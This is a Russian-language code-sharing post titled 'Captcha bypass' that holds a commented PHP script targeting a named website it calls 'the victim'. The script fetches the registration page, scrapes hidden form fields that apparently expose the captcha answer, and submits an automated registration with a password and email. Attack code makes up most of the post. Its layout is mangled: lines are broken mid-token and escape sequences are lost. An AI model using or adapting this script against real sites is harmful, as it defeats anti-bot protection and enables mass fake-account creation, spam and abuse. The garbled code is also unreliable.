Просмотр кода
Название: Обход капчи.
Описание: Найдено на просторах интернета.
Добавил: __[_]___
Дата: 24 мар 2018, в 12:21 Комментарии (0)
Описание: Найдено на просторах интернета.
<?php
$sock =
fsockopen( 'coolserf.
net' , 80 , $errno, $err,
4 );
/* Здесь мы
открываем
соединение по 80
порту (http://) с
сайтом жертвы,
$errno-номер
возможной ошибки,
$err- сама ошибка, 4-
это время ожидания
ответа, таймаут.*/
$request = "GET
/reg.php?rules=1
HTTP/1.1rnAccept:
*/*rnHost:
coolserf.net:80rn
Connection: Keep-
Alivernrn" ;
/* Здесь мы пишем
гет запрос который
отправим жертве.
Метод get, далее
идет адрес страницы
регистрации на сайте
жертвы, HTTP/1.1
указывает на версию
протокола, Accept:
*/ * так мы говорим
серверу что примем
любой формат файла,
Host: coolserf.net: 80
указываем что
ниобходимо
соединиться по 80
порту к нашей жертве,
Connection: Keep-
Alive этим мы
сообщаем что ответ
требуется
подождать*/
fputs($sock,
$request);
/*записываем наш
запрос в поток*/
while ( !feof($sock))
$body.=fgets($sock,
20480 );
/*этим циклом
забиваем в $ ответ
на наш запрос*/
fclose ($sock);
/*Закрываем поток*/
preg_match( "/check
sum' value='([0-9
]+)'/" , $body, $ cans);
echo '
checksum ' .$cans[ 1 ];
/*этим регулярным
выражение мы ищем в
ответе сервера
скрытый инпут с
именем checksum и
забиваем найденый
результат в $cans*/
preg_match( "/send'
value='([0-9]+)'/" ,
$body, $can);
echo '
send ' .$can[ 1];
/*этим регулярным
выражение мы ищем в
ответе сервера
скрытый инпут с
именем send и
забиваем найденый
результат в $can.
Этои и есть
ниобходимый нам код
капчи*/
unset ($sock,
$request, $body);
/*уничтожаем
использованые нами
$*/
$post = "send=$can[1
]&checksum=$cans [1
]&up=1234
&img=$can[1]&email
=tm@mtg.Ru" ;
/*Создаем пост
запрос для
регистрации на
сайте, имея сессию и
код с капчи, мы
отправляем серверу
пароль, емейл и тд*/
$sock =
fsockopen( 'coolserf.
net' , 80 , $errno, $err,
4 );
$request = "POST
/reg.php?rules=1
HTTP/1.1rnAccept:
*/*rnHost:
coolserf.net:80rn
Connection:
ClosernContent-
Type: application/x-
www-form-
urlencodedrnConte
nt-Length: " .strlen
($post). "rnrn" ;
/*Здесь, если вы
внимательны, то
заметили 2 новых
строки, Content-Type:
application/x-www-
form-urlencoded
указывает на
содержимое, Content-
Length указывает
скоко байт пост
запрос*/
fputs($sock,
$request.$post);
while ( !feof($sock))
$body.=fgets($sock,
20480 );
echo $body;
fclose ($sock);
unset ($sock,
$request, $body);
?>
Добавил: __[_]___
Дата: 24 мар 2018, в 12:21 Комментарии (0)